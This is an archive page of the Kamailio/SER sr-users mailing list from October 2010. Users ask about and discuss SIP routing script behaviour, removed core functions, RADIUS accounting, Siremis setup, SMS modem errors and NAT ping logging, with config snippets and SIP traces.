Although the sender endeavours to maintain a computer virus-free network, the sender does not warrant that this transmission is virus-free and will not be liable for any damages resulting from any virus transmitted.

3 5

drop in branch route
by Juha Heinanen 31 Oct '10

31 Oct '10

based on core cookbokk, it is not clear to me what happens when drop is executed in branch route: drop Stop the execution of the configuration script and alter the implicit action which is done afterwards. If the function is called in a 'branch_route' then the branch is discarded (implicit action for 'branch_route' is to forward the request). i understand that request is not forwarded to that branch, but if that branch is the only branch, does t_relay() then return -1 or is script execution terminated? -- juha

1 0

setdebug() and 3.X
by Sergey Okhapkin 30 Oct '10

30 Oct '10

setdebug() function is no longer provided by core. How to change debug level dynamically in the script to trace execution of a few statements only?

3 11

How to log local SIP replies?
by Sergey Okhapkin 30 Oct '10

30 Oct '10

Is there a way to log local replies sent by kamailio? For example, I want to log a reply sent by kamailio in response to REGISTER request.

2 1

Check out Elias's photos on Facebook
by Elias Gitonga 30 Oct '10

30 Oct '10

Hi Serusers, I set up a Facebook profile where I can post my pictures, videos and events and I want to add you as a friend so you can see it. First, you need to join Facebook! Once you join, you can also create your own profile. Thanks, Elias To sign up for Facebook, follow the link below: http://www.facebook.com/p.php?i=100001050585836&k=Z6E3Y6W5U2VBWABJPB63QUTTV… Already have an account? Add this email address to your account: http://www.facebook.com/n/?merge_accounts.php&e=serusers%40iptel.org&c=2814… ======================================= serusers(a)iptel.org was invited to join Facebook by Elias Gitonga. If you do not wish to receive this type of email from Facebook in the future, please follow the link below to unsubscribe. http://www.facebook.com/o.php?k=679489&u=100001575534555&mid=335e9d2G5af36e… Facebook, Inc. P.O. Box 10005, Palo Alto, CA 94303

1 0

Re: [SR-Users] setdebug() and 3.X
by Daniel-Constantin Mierla 30 Oct '10

30 Oct '10

On 10/29/10 5:40 PM, Sergey Okhapkin wrote: > I can't test now - high volume traffic is running. But I looked at the diff, it > seems to me OK, I see no reason why it could not work:-) Because of the law, the Murphy law ;-) Probably I will test sometime next week if you don't do it before and then backport. Cheers, Daniel > On Friday 29 October 2010, you wrote: >> On 10/29/10 4:33 PM, Daniel-Constantin Mierla wrote: >>> On 10/29/10 4:09 PM, Sergey Okhapkin wrote: >>>> I just realized that 3.1 executes main routing block when broken SIP >>>> message >>>> is received! But sanity_check() function returns 0 on failed checks >>>> and script >>>> execution stops, my favorite xlog() is not executed. >>> OK, that can be fixed very easy. Iirc, in some cases you don't get the >>> sip message in the config if it is really broken, but I am not sure if >>> error_route was executed for that case anyhow. >> I committed on git master, id: >> >> 39a8108c62a2beafba18417613b9660a8abef86a >> >> >> Can you take the patch and test it on 3.1? If all is fine, then I can >> backport - even the default cfg expects non-drop behavior since it >> attempts to print a log message there. >> >> Cheers, >> Daniel >> >>> Cheers, >>> Daniel >>> >>>> Oct 29 09:48:54 west /usr/local/sbin/kamailio[12225]: ERROR:<core> >>>> [parser/msg_parser.c:177]: ERROR: get_hdr_field: bad to header >>>> Oct 29 09:48:54 west /usr/local/sbin/kamailio[12225]: INFO:<core> >>>> [parser/msg_parser.c:351]: ERROR: bad header field [To: Chi Nhung<sip: >>>> ] >>>> Oct 29 09:48:54 west /usr/local/sbin/kamailio[12225]: ERROR:<core> >>>> [parser/msg_parser.c:177]: ERROR: get_hdr_field: bad to header >>>> Oct 29 09:48:54 west /usr/local/sbin/kamailio[12225]: INFO:<core> >>>> [parser/msg_parser.c:351]: ERROR: bad header field [To: Chi Nhung<sip: >>>> ] >>>> Oct 29 09:48:54 west /usr/local/sbin/kamailio[12225]: ERROR:<core> >>>> [parser/msg_parser.c:177]: ERROR: get_hdr_field: bad to header >>>> Oct 29 09:48:54 west /usr/local/sbin/kamailio[12225]: INFO:<core> >>>> [parser/msg_parser.c:351]: ERROR: bad header field [To: Chi Nhung<sip: >>>> ] >>>> Oct 29 09:48:54 west /usr/local/sbin/kamailio[12225]: ERROR:<core> >>>> [msg_translator.c:1946]: ERROR: build_res_buf_from_sip_req: alas, parse >>>> _headers failed >>>> Oct 29 09:48:54 west /usr/local/sbin/kamailio[12225]: WARNING: sanity >>>> [sanity.c:253]: sanity_check(): check_required_headers(): failed to s >>>> end 400 via sl reply >>>> >>>> On Friday 29 October 2010, Daniel-Constantin Mierla wrote: >>>>> On 10/29/10 11:53 AM, Sergey Okhapkin wrote: >>>>>> Daniel, I think this could be implemented without re-introduction of >>>>>> error_route, >>>>> it will not be re-introduced for sure, we have now a different core >>>>> framework which care reuse event_route mechanism. >>>>> >>>>> In the past the error route was executed when the error was discovered, >>>>> so it several places of the code, and I am not sure that the core can >>>>> continue up to config execution of something is really broken. >>>>> >>>>> I will have it in mind when I get some spare time. >>>>> >>>>> Cheers, >>>>> Daniel >>>>> >>>>>> what about core parameter route_on_error=yes/no (default no)? If >>>>>> route on error is enabled, then sanity module will do the trick: >>>>>> >>>>>> route{ >>>>>> if(!sanity_check("1159")) { >>>>>> xlog("L_INFO","Bad message from >>>>>> $proto:$si:$sp\n$mb\n"); >>>>>> break; >>>>>> } >>>>>> .... >>>>>> >>>>>> It will be up to script writer what to do in main routing block if >>>>>> message parsing fails. >>>>>> >>>>>> On Friday 29 October 2010, Sergey Okhapkin wrote: >>>>>>> It would be nice to get error_route back. The route was trivial in my >>>>>>> cfg file: >>>>>>> >>>>>>> error_route { >>>>>>> xlog("L_INFO","Bad message from $proto:$si:$sp\n$mb\n"); >>>>>>> drop(); >>>>>>> } >>>>>>> >>>>>>> On Friday 29 October 2010, Daniel-Constantin Mierla wrote: >>>>>>>> On 10/28/10 1:41 PM, Sergey Okhapkin wrote: >>>>>>>>> I've found one more feature missed in 3.1 - error_route is >>>>>>>>> eliminated >>>>>>>>> and sanity module added. But if received SIP message is >>>>>>>>> malformed and >>>>>>>>> can't be parsed, routing script is not executed and I have no >>>>>>>>> way to >>>>>>>>> log the message to kamailio log. I did it in error_route before. >>>>>>>>> >>>>>>>>> This logging is important to me to support customers. SIP ALG in >>>>>>>>> routers often breaks Via line :-( >>>>>>>> Since I developed error_route, I remember that it handled just >>>>>>>> sporadic >>>>>>>> cases, but I can add an event_route to pass the buffer and some >>>>>>>> hints >>>>>>>> to configuration file in case the initial parsing fails and the >>>>>>>> message >>>>>>>> is dropped before getting to config file. >>>>>>>> >>>>>>>> It is good to know that someone use such case, introduction of >>>>>>>> sanity >>>>>>>> was clearly mentioned and so far there was no complain. >>>>>>>> >>>>>>>> Cheers, >>>>>>>> Daniel >>>>>>>> >>>>>>>>> On Thursday 28 October 2010, Daniel-Constantin Mierla wrote: >>>>>>>>>> On 10/26/10 2:22 PM, Sergey Okhapkin wrote: >>>>>>>>>>> setdebug() function is no longer provided by core. How to change >>>>>>>>>>> debug level dynamically in the script to trace execution of a few >>>>>>>>>>> statements only? >>>>>>>>>> seems was lost in transition to 3.0, I will check to see what >>>>>>>>>> can be >>>>>>>>>> done with the new architecture. >>>>>>>>>> >>>>>>>>>> Thanks, >>>>>>>>>> Daniel >>>>>>>>> _______________________________________________ >>>>>>>>> SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing >>>>>>>>> list sr-users(a)lists.sip-router.org >>>>>>>>> http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users >>>>>>> _______________________________________________ >>>>>>> SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing >>>>>>> list >>>>>>> sr-users(a)lists.sip-router.org >>>>>>> http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users >>>>>> _______________________________________________ >>>>>> SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing >>>>>> list >>>>>> sr-users(a)lists.sip-router.org >>>>>> http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users >>>> _______________________________________________ >>>> SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list >>>> sr-users(a)lists.sip-router.org >>>> http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com

2 1

NAT ping replies
by Sergey Okhapkin 29 Oct '10

29 Oct '10

Kamailio 3.1 log is filled with lines like Oct 29 03:32:46 west /usr/local/sbin/kamailio[632]: INFO: <script>: incoming reply from udp:188.62.4.186:65333 SIP/2.0 404 Not Found Via: SIP/2.0/UDP 204.74.213.5:5060;branch=0 From: <sip:pinger@sip.callwithus.com>;tag=3993f0c To: <sip:188.62.4.186:65333> Call-ID: aff32da5-89ef0136-71dc8c5(a)204.74.213.5 CSeq: 1 OPTIONS Content-Length: 0 Oct 29 03:32:46 west /usr/local/sbin/kamailio[632]: INFO: <core> [forward.c:774]: broken reply to forward - no 2nd via Shouldn't replies to NAT ping messages be silently dropped like in 1.4?

2 2

Billing party and radius accounting
by Efelin Novak 29 Oct '10

29 Oct '10

Hi folks, I have a problem with setting billing party in my radius messages. My accounting is done by CDRTool via radius messages to radius server. The thing I don`t know is how to set billing party variable (by default $avp(s:billing_party) with reliable value. I can try adding Diversion header and fill the variable with it, but can I trust the Diversion header? When UAC sets redirect(302) and Invite comes, he replies 302 and Kamailio passes this message to origin. However is it possible to change Diversion header by UAC? This could be way how to make free calls and bill it to someone else. I was thinking of uac_redirect module. If I get it right this module saves original number in memory and does not use message itself to store it. In documentation there is written that accounting can by done by setting modparam("uac_redirect", "acc_function", "acc_rad_request"). Even when I use exported function set_accept_filter() the accounting itself isn't done. I`d like to get original number from module uac_redirect and set it to $avp(s:billing_party). This would solve the problem of billing forwarded calls. Am I getting it right? Is there anything else what can be passed to billing party variable to make correct bililng? I'm using kamailio 3.1.x and CDRTool v 8.0.6 Thanks, Efelin

4 12

tm.t_uac_start examples from CLI
by Alex Balashov 29 Oct '10

29 Oct '10

Can someone post an example of usage of tm.t_uac_start from the command line using sercmd over a UNIX domain socket (e.g. /tmp/ser_ctl)? I am quite unclear on how to pass minimally necessary header values to it in this form and cannot seem to get the syntax right. Thanks! -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

1 0

problem getting siriemis to login
by Gerry Kernan 29 Oct '10

29 Oct '10

Hi I am trying to get siremis working with kamailio, butwhen i open the login page and enter the username and password nothing happens. I have followed the instruction on the siremis home page. Created mysql db called openser and inserted username admin& password admin. mysql> use openser; Reading table information for completion of table and columnnames You can turn off this feature to get a quicker startup with-A Database changed mysql> select * from ob_users; +-------+--------+----------+ | SYSID | USERID | PASSWORD | +-------+--------+----------+ | 1 | admin |admin | +-------+--------+----------+ 1 row in set (0.00 sec) mysql> edited /var/www/html/siremis-1.0.1/siremis/metadata/Config.xml <?xml version="1.0"standalone="no"?> <Config> <DataSource> <DatabaseName="Default" Driver="Pdo_Mysql"Server="localhost" DBName="openser" User="admim"Password="admin" /> <DatabaseName="Seremis" Driver="Pdo_Mysql"Server="localhost" DBName="openser" User="admin"Password="admin" /> </DataSource> </Config> Ifsomeone could point out to me where i have gone wrong i would really appreciateit. Regards, Gerry Kernan InfinityIT Suite 17 The Mall, Beacon court, Sandyford, Dublin 18. p:+353-1-2930090 f:+353-1-2930137

1 0

Kamailio Business Directory
by Daniel-Constantin Mierla 28 Oct '10

28 Oct '10

Hello, I am please to announce the launch of Kamailio Business Directory. This is a web page hosted by the project site that will list companies and individuals offering products, services or solutions based on Kamailio or SER. It is an open directory that tries to enable more visibility to the business market around the project and help finding quickly the best service for specific market demands. We invite everyone doing such business to apply to be listed, please follow the instructions at: http://www.kamailio.org/w/business-directory-rules/ We have already several companies listed, couple of them to still in review process, therefore check it again soon, the directory is available at: http://www.kamailio.org/w/business-directory/ Cheers, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

About "reply_code" in 'carrierroute' module
by Iñaki Baz Castillo 28 Oct '10

28 Oct '10

Hi, how is the syntax of the "reply_code" column in 'carrierroute' module? In the doc I some examples: 408 404 50. Obviously "50." means any code starting by "50", but is it a typical regular expression? For example, does it allow something like "500|503" or "50[03]"? Thanks. -- Iñaki Baz Castillo <ibc(a)aliax.net>

2 4

Asterisk, Kamailio, Openfire and Social Media Integration
by Daniel-Constantin Mierla 28 Oct '10

28 Oct '10

Hello, courtesy of Kelvin Chua, I received the slides he presented yesterday at Astricon 2010 to the session "Asterisk, Kamailio, Openfire and Social Media Integration". More details at: http://www.kamailio.org/w/2010/10/asterisk-kamailio-openfire-and-social-med… Cheers, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

PSTN call
by michel freiha 28 Oct '10

28 Oct '10

Dear All, Can someone help me to connect my kamilio in order to make a PSTN call by rewriting host tp PSTN gateway? I changed my config in a manner to do that...The line is ringing but as soon as I open the line on other side the call will hangup...Please find the piece of code # RTPProxy control route[RTPPROXY] { #!ifdef WITH_NAT if (is_method("BYE")) { unforce_rtp_proxy(); } else if (is_method("INVITE")){ rewritehost("XX.XX.XX.XX"); force_rtp_proxy(); } if (!has_totag()) add_rr_param(";nat=yes"); #!endif return; } Regards

2 1

SIP application type
by Mino Haluz 28 Oct '10

28 Oct '10

Hi, I'm using radius server to do an accounting, but it does not store an application type (audo/video). Audio/video calls has to be rated with cdrtool, that is why I need this information. It is not even sent through radius protocol, so the radius server cannot get it. My extra-params are: modparam("acc", "radius_extra", "User-Name=$Au; \ Calling-Station-Id=$from; \ Called-Station-Id=$to; \ Sip-Translated-Request-URI=$avp(s:translated_uri); \ Sip-RPid=$avp(s:rpid); \ Source-IP=$si; \ Source-Port=$sp; \ Canonical-URI=$avp(s:can_uri); \ Billing-Party=$avp(s:billing_party); \ Divert-Reason=$avp(s:divert_reason); \ X-RTP-Stat=$hdr(X-RTP-Stat); \ Contact=$hdr(contact); \ Event=$hdr(event); \ SIP-Proxy-IP=$avp(s:sip_proxy_ip); \ ENUM-TLD=$avp(s:enum_tld)") Suggestions? Thanks.

4 4

HELP
by michel freiha 28 Oct '10

28 Oct '10

Hello All, I have my kamailio server running and working properly as much as it's listening to an IP address..>As soon as i add an alias as a domain mae, I'm not be able to make call anymore and i'm getting Proxy Authentication required on my X-lite registered on the server...Please find below SIP packets: U +0.045706 Kamailio_IP:5060 -> X-Lite_Public_IP:49088 SIP/2.0 407 Proxy Authentication Required. Via: SIP/2.0/UDP 192.168.0.164:49088 ;branch=z9hG4bK-d8754z-a83b4359a1218b33-1---d8754z-;rport=49088;received=X-Lite_Public_IP. To: "00XXXXXX"<sip:00XXXXXX@Aliasdomain.com >;tag=7adebec44d02c48c117ad920bb5281f8.c246. From: <sip:michofr@Aliasdomain.com>;tag=00727922. Call-ID: MDc5YzVkNjdjYTZkMTIwMTdlYzE2YTRlZmExMDllNWM.. CSeq: 4 INVITE. Proxy-Authenticate: Digest realm="Aliasdomain.com", nonce="TMgYGEzIFuyzAuVUGSbPwq3ZJaBE8k4a". Server: kamailio (3.1.0 (i386/linux)). Content-Length: 0. . U +0.253584 X-Lite_Public_IP:49088 -> Kamailio_IP:5060 INVITE sip:00XXXXXX@Aliasdomain.com SIP/2.0. Via: SIP/2.0/UDP 192.168.0.164:49088 ;branch=z9hG4bK-d8754z-a83b4359a1218b33-1---d8754z-;rport. Max-Forwards: 70. Contact: <sip:michofr@X-Lite_Public_IP:49088>. To: "00XXXXXX"<sip:00XXXXXX@Aliasdomain.com>. From: <sip:michofr@Aliasdomain.com>;tag=00727922. Call-ID: MDc5YzVkNjdjYTZkMTIwMTdlYzE2YTRlZmExMDllNWM.. CSeq: 4 INVITE. Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO. Content-Type: application/sdp. Proxy-Authorization: Digest username="michofr",realm="asterisk",nonce="2fe0dd55",uri="sip:00XXXXXX@Aliasdomain.com ",response="a2f6f58360e4a3059a82964f9e8ddbe2",algorithm=MD5. Proxy-Authorization: Digest username="michofr",realm="Aliasdomain.com",nonce="TMgYF0zIFutYZomwP0F6LJLcvg4y/gwt",uri="sip:00XXXXXX@Aliasdomain.com ",response="143021428e9b74db816f76a97b522a60",algorithm=MD5. User-Agent: eyeBeam release 1102q stamp 51814. Content-Length: 283. . v=0. o=- 6 2 IN IP4 192.168.0.164. s=CounterPath eyeBeam 1.5. c=IN IP4 192.168.0.164. t=0 0. m=audio 17956 RTP/AVP 18 101. a=alt:1 1 : 0V1r/5Dg TGVW9xcA 192.168.0.164 17956. a=fmtp:18 annexb=yes. a=fmtp:101 0-15. a=rtpmap:18 G729/8000. a=rtpmap:101 telephone-event/8000. a=sendrecv. U +0.057365 Kamailio_IP:5060 -> X-Lite_Public_IP:49088 SIP/2.0 407 Proxy Authentication Required. Via: SIP/2.0/UDP 192.168.0.164:49088 ;branch=z9hG4bK-d8754z-a83b4359a1218b33-1---d8754z-;rport=49088;received=X-Lite_Public_IP. To: "00XXXXXX"<sip:00XXXXXX@Aliasdomain.com >;tag=7adebec44d02c48c117ad920bb5281f8.c246. From: <sip:michofr@Aliasdomain.com>;tag=00727922. Call-ID: MDc5YzVkNjdjYTZkMTIwMTdlYzE2YTRlZmExMDllNWM.. CSeq: 4 INVITE. Proxy-Authenticate: Digest realm="Aliasdomain.com", nonce="TMgYGEzIFuyzAuVUGSbPwq3ZJaBE8k4a". Server: kamailio (3.1.0 (i386/linux)). Content-Length: 0. . U +0.255609 X-Lite_Public_IP:49088 -> Kamailio_IP:5060 ACK sip:00XXXXXX@Aliasdomain.com SIP/2.0. Via: SIP/2.0/UDP 192.168.0.164:49088 ;branch=z9hG4bK-d8754z-4312233712260f32-1---d8754z-;rport. To: "00XXXXXX"<sip:00XXXXXX@Aliasdomain.com >;tag=7adebec44d02c48c117ad920bb5281f8.c9fd. From: <sip:michofr@Aliasdomain.com>;tag=00727922. Call-ID: MDc5YzVkNjdjYTZkMTIwMTdlYzE2YTRlZmExMDllNWM.. CSeq: 3 ACK. Content-Length: 0. . U +0.015090 X-Lite_Public_IP:49088 -> Kamailio_IP:5060 ACK sip:00XXXXXX@Aliasdomain.com SIP/2.0. Via: SIP/2.0/UDP 192.168.0.164:49088 ;branch=z9hG4bK-d8754z-a83b4359a1218b33-1---d8754z-;rport. To: "00XXXXXX"<sip:00XXXXXX@Aliasdomain.com >;tag=7adebec44d02c48c117ad920bb5281f8.c246. From: <sip:michofr@Aliasdomain.com>;tag=00727922. Call-ID: MDc5YzVkNjdjYTZkMTIwMTdlYzE2YTRlZmExMDllNWM.. CSeq: 4 ACK. Content-Length: 0. . U +0.136372 X-Lite_Public_IP:49088 -> Kamailio_IP:5060 ACK sip:00XXXXXX@Aliasdomain.com SIP/2.0. Via: SIP/2.0/UDP 192.168.0.164:49088 ;branch=z9hG4bK-d8754z-a83b4359a1218b33-1---d8754z-;rport. To: "00XXXXXX"<sip:00XXXXXX@Aliasdomain.com >;tag=7adebec44d02c48c117ad920bb5281f8.c246. From: <sip:michofr@Aliasdomain.com>;tag=00727922. Call-ID: MDc5YzVkNjdjYTZkMTIwMTdlYzE2YTRlZmExMDllNWM.. CSeq: 4 ACK. Content-Length: 0.

2 1

Re: [SR-Users] libosip2 parse body error
by Daniel-Constantin Mierla 27 Oct '10

27 Oct '10

Never ever send private emails - they will be discarded, keep the mailing list cc-ed. Iptel org is running SIP Express Router 3.1. Take a ngrep of the traffic and send it here, the hexa codes you send are not for humans to read, like we are here on mailing lists. Otherwise make a tar.gz of pcap file. SER changes content length only if it is an update to sdp (for nat traversal), otherwise is the one set by the other phone. Daniel On 10/27/10 12:21 PM, t wrote: > Thanks Daniel, > > fyi, the Content-Length doesn't match the actual length in the invite > ok returned from iptel.org <http://iptel.org> (213.192.59.75), and > the same situation also occurs from ekiga.net <http://ekiga.net>. > > libosip2 interprets the rfc as saying that this 'should' be correct. > (and I buy this!). > > it looks like an openser (opensips?) quirk. > > anyway, I have put in code locally to fixup the Content-Length. > > Thanks, > Tony. > > 73 75 62 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e sub..Content-Len > 67 74 68 3a 20 20 20 32 30 31 0d 0a 0d 0a 76 3d gth: 201....v= > 30 0d 0a 6f 3d 74 77 69 6e 6b 6c 65 20 31 33 33 0..o=twinkle 133 > 33 37 30 37 32 38 39 20 38 30 39 37 35 37 36 37 3707289 80975767 > 33 20 49 4e 20 49 50 34 20 31 39 32 2e 31 36 38 3 IN IP4 192.168 > 2e 32 35 34 2e 31 0d 0a 73 3d 2d 0d 0a 63 3d 49 .254.1..s=-..c=I > 4e 20 49 50 34 20 31 39 32 2e 31 36 38 2e 32 35 N IP4 192.168.25 > 34 2e 31 0d 0a 74 3d 30 20 30 0d 0a 6d 3d 61 75 4.1..t=0 0..m=au > 64 69 6f 20 35 30 32 32 20 52 54 50 2f 41 56 50 dio 5022 RTP/AVP > 20 39 38 20 31 30 31 0d 0a 61 3d 72 74 70 6d 61 98 101..a=rtpma > 70 3a 39 38 20 73 70 65 65 78 2f 31 36 30 30 30 p:98 speex/16000 > 0d 0a 61 3d 72 74 70 6d 61 70 3a 31 30 31 20 74 ..a=rtpmap:101 t > 65 6c 65 70 68 6f 6e 65 2d 65 76 65 6e 74 2f 38 elephone-event/8 > 30 30 30 0d 0a 61 3d 66 6d 74 70 3a 31 30 31 20 000..a=fmtp:101 > 30 2d 31 35 0d 0a 0-15.. > > On Wed, Oct 27, 2010 at 5:40 AM, Daniel-Constantin Mierla > <miconda(a)gmail.com <mailto:miconda@gmail.com>> wrote: > > Hello, > > you claim that contact header is malformed or libosip2 has issues > in parsing a good content header? > > In case of first option, can you tell what it believes is wrong. > Your message is hard to follow since is not clear text, next time > send only the text part. > > For the second option, you have to approach libosip2 support forums. > > Cheers, > Daniel > > > On 10/25/10 10:44 PM, t wrote: >> Hi, >> >> Not sure how to provide this info (or even if anybody cares), but >> libosip2 parser objects to incorrect (short) Content-Length from >> iptel.org <http://iptel.org>. >> >> Regards, >> Tony. >> >> >> _______________________________________________ >> SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list >> sr-users(a)lists.sip-router.org <mailto:sr-users@lists.sip-router.org> >> http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users > > -- > Daniel-Constantin Mierla > http://www.asipto.com > > -- Daniel-Constantin Mierla http://www.asipto.com

5 7

libosip2 parse body error
by t 27 Oct '10

27 Oct '10

Hi, Not sure how to provide this info (or even if anybody cares), but libosip2 parser objects to incorrect (short) Content-Length from iptel.org. Regards, Tony.

2 1

SMS module big error ????????????
by peter_green lion 27 Oct '10

27 Oct '10

hi all, i have configure SMS module and have some error. please help to fix it. my configure in kamailio : modparam("sms", "modems", "nokia[d=/dev/ttyUSB0;p=0000;m=old;s=1;l=10;r=20]") modparam("sms", "networks", "MOBIFONE[m=10]") modparam("sms", "links", "nokia[MOBIFONE]") if(method == "MESSAGE"){ if(has_body("text/plain")){ sms_send_msg_to_net("MOBIFONE"); } } but i start kamailio, log show that: Oct 26 05:32:35 localhost /usr/local/sbin/kamailio[13594]: ERROR: sms [libsms_modem.c:282]: Modem is not registered to the network Oct 26 05:32:35 localhost /usr/local/sbin/kamailio[13594]: WARNING: sms [libsms_getsms.c:256]: something happend with the modem -> was reinit -> let's retry Oct 26 05:32:36 localhost /usr/local/sbin/kamailio[13594]: WARNING: sms [libsms_modem.c:356]: modem wants the PIN again! Oct 26 05:32:36 localhost /usr/local/sbin/kamailio[13594]: WARNING: sms [libsms_modem.c:370]: re -init the modem!! Oct 26 05:32:36 localhost /usr/local/sbin/kamailio[13594]: INFO: sms [libsms_modem.c:221]: init modem nokia on /dev/ttyUSB0. Oct 26 05:32:37 localhost /usr/local/sbin/kamailio[13594]: INFO: sms [libsms_modem.c:250]: Checking if Modem is registered to the network Oct 26 05:32:38 localhost /usr/local/sbin/kamailio[13594]: NOTICE: sms [libsms_modem.c:275]: Waiting 2 sec. before retrying Oct 26 05:33:09 localhost last message repeated 10 times Oct 26 05:33:38 localhost last message repeated 9 times Oct 26 05:33:40 localhost /usr/local/sbin/kamailio[13594]: ERROR: sms [libsms_modem.c:282]: Modem is not registered to the network Oct 26 05:33:40 localhost /usr/local/sbin/kamailio[13594]: WARNING: sms [libsms_getsms.c:256]: something happend with the modem -> was reinit -> let's retry Oct 26 05:33:41 localhost /usr/local/sbin/kamailio[13594]: WARNING: sms [libsms_modem.c:356]: modem wants the PIN again! Oct 26 05:33:41 localhost /usr/local/sbin/kamailio[13594]: WARNING: sms [libsms_modem.c:370]: re -init the modem!! Oct 26 05:33:41 localhost /usr/local/sbin/kamailio[13594]: INFO: sms [libsms_modem.c:221]: init modem nokia on /dev/ttyUSB0. Oct 26 05:33:41 localhost /usr/local/sbin/kamailio[13594]: INFO: sms [libsms_modem.c:250]: Checking if Modem is registered to the network Oct 26 05:33:42 localhost /usr/local/sbin/kamailio[13594]: NOTICE: sms [libsms_modem.c:275]: Waiting 2 sec. before retrying so i cannot send ok receive sms. with contact :+84...@sipdomain my nokia phone :6020 i can send sms via nokia by gnokii. please help or suggest to get it wok. thanks alot.

2 1

Dialplan module sample
by Uriel Rozenbaum 27 Oct '10

27 Oct '10

Hey guys, Does someone have an example for rules used with this module? I understand how to use the module, but not how to fill the database. I intend to use some prefix matching and regex (if available). Thanks in advance! Uriel

2 1

Working with Variables.
by dotnetdub 27 Oct '10

27 Oct '10

Hi List, Where is the best place to lookup documentation about working with variables. I come from the if len(x$)=y then xxx xxx xxx End If school! Looking for the best place to lookup documentation for checking characters, lengths of strings and removing or prepending stuff based on the results. Thanks Brian

2 2

Sanity module documentation error?
by Sergey Okhapkin 26 Oct '10

26 Oct '10

The routing script has if(sanity_check("1159", "6")) { xlog("L_INFO","Bad message from $proto:$si:$sp\n$mb\n"); break; } Seems like sanity_check function returns true is sanity check passes, but not failed. Am I right? 0(14085) DEBUG: <core> [receive.c:145]: After parse_msg... 0(14085) DEBUG: <core> [receive.c:186]: preparing to run routing scripts... 0(14085) DEBUG: <core> [parser/parse_to.c:803]: end of header reached, state=10 0(14085) DEBUG: <core> [parser/msg_parser.c:185]: DEBUG: get_hdr_field: <To> [35]; uri=[sip:167147511@204.74.213.5:5090] 0(14085) DEBUG: <core> [parser/msg_parser.c:187]: DEBUG: to body [<sip:167147511@204.74.213.5:5090> ] 0(14085) DEBUG: <core> [parser/msg_parser.c:165]: get_hdr_field: cseq <CSeq>: <73> <REGISTER> 0(14085) DEBUG: <core> [parser/msg_parser.c:199]: DEBUG: get_hdr_body : content_length=0 0(14085) DEBUG: <core> [parser/msg_parser.c:101]: found end of header 0(14085) DEBUG: <core> [parser/parse_to.c:174]: DEBUG: add_param: tag=jzbyj 0(14085) DEBUG: <core> [parser/parse_to.c:803]: end of header reached, state=29 0(14085) DEBUG: sanity [mod_sanity.c:217]: all sanity checks passed 0(14085) INFO: <script>: Bad message from udp:71.59.87.156:5066

3 7

Psuedo Variable.
by David J. 26 Oct '10

26 Oct '10

Hello List; I was following along the Kamailio Asterisk Realtime Integration; I modified the script to get it working on Kamailio v 3.1. One area I had a question about was here... We have the following block; # Forward REGISTER to Asterisk route[REGFWD] { if(!is_method("REGISTER")) { return; } $var(rip) = $sel(cfg_get.asterisk.bindip); $uac_req(method)="REGISTER"; $uac_req(ruri)="sip:" + $var(rip) + ":" + $sel(cfg_get.asterisk.bindport); $uac_req(furi)="sip:" + $au + "@" + $var(rip); $uac_req(turi)="sip:" + $au + "@" + $var(rip); $uac_req(hdrs)="Contact: <sip:" + $au + "@" + $ad + ":" + $sel(cfg_get.kamailio.bindport) + ">\r\n"; if($sel(contact.expires) != $null) $uac_req(hdrs)= $uac_req(hdrs) + "Expires: " + $sel(contact.expires) + "\r\n"; else $uac_req(hdrs)= $uac_req(hdrs) + "Expires: " + $hdr(Expires) + "\r\n"; uac_req_send(); } If I change the line to read : $uac_req(hdrs)="Contact: <sip:" + $au + "@" + $ad from : $uac_req(hdrs)="Contact: <sip:" + $au + "@" + $sel(cfg_get.kamailio.bindip) I get the following error; loading modules under /usr/local/kamailio-3.1-proxy/lib/kamailio/modules_k/:/usr/local/kamailio-3.1-proxy/lib/kamailio/modules/ $ad 0(13715) ERROR: <core> [pvapi.c:445]: bad parameters 0(13715) : <core> [cfg.y:3409]: parse error in config file /usr/local/kamailio-3.1-proxy/etc/kamailio/kamailio.cfg, line 717, column 48-47: unknown script pseudo variable ERROR: bad config file (1 errors) I would imagine that if the "$au" pseudo variable is available the "$ad" variable would be available as well. Please help point out my mistake. Thanks. David.

6 10

Re: [SR-Users] Drouting usage
by Javier Gallart 26 Oct '10

26 Oct '10

Thanks Marius, that was it. Regards Javier On Mon, Oct 25, 2010 at 10:08 PM, <sr-users-request(a)lists.sip-router.org>wrote: > Send sr-users mailing list submissions to > sr-users(a)lists.sip-router.org > > To subscribe or unsubscribe via the World Wide Web, visit > http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users > or, via email, send a message with subject or body 'help' to > sr-users-request(a)lists.sip-router.org > > You can reach the person managing the list at > sr-users-owner(a)lists.sip-router.org > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of sr-users digest..." > > > Today's Topics: > > 1. Drouting usage (Javier Gallart) > 2. PSTN call (michel freiha) > 3. Re: Drouting usage (marius zbihlei) > 4. bflag under failure_route (kamailio 1.5) (I?aki Baz Castillo) > 5. Re: bflag under failure_route (kamailio 1.5) > (Daniel-Constantin Mierla) > 6. Re: bflag under failure_route (kamailio 1.5) (I?aki Baz Castillo) > 7. Re: bflag under failure_route (kamailio 1.5) > (Daniel-Constantin Mierla) > 8. Re: bflag under failure_route (kamailio 1.5) (I?aki Baz Castillo) > > > ---------------------------------------------------------------------- > > Message: 1 > Date: Mon, 25 Oct 2010 15:16:56 +0200 > From: Javier Gallart <jgallartm(a)gmail.com> > Subject: [SR-Users] Drouting usage > To: sr-users(a)lists.sip-router.org > Message-ID: > 